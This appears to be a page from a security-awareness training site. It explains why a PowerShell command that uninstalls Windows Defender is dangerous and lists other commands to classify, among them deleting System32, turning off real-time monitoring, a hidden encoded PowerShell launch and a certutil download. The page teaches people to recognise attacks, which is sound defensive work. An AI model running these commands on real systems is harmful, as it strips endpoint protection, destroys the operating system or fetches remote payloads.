Dangerous
Disable-WindowsOptionalFeature -Online -FeatureName Windows-Defender -NoRestartwindows · powershell · Beginner
Removes Windows Defender from the running system as an optional feature. This is not a pause or an exclusion, it uninstalls the endpoint protection entirely, and -NoRestart hides the reboot that would make it obvious.
Signals to notice
- Disable-WindowsOptionalFeature uninstalls the feature rather than pausing it
- -NoRestart defers the reboot that would surface the change
Think you can spot these under time pressure?
Start TrainingMore Windows
Get-ProcessIntermediateRemove-Item -Recurse -Force C:\Windows\System32IntermediateGet-ChildItem -Path C:\Users -Recurse -Filter *.logAdvancedSet-MpPreference -DisableRealtimeMonitoring $trueIntermediatepowershell -nop -w hidden -enc RwBlAHQALQBEAGEAdABlAA==Advancedcertutil.exe -urlcache -split -f https://example.com/update.txt update.txtExpert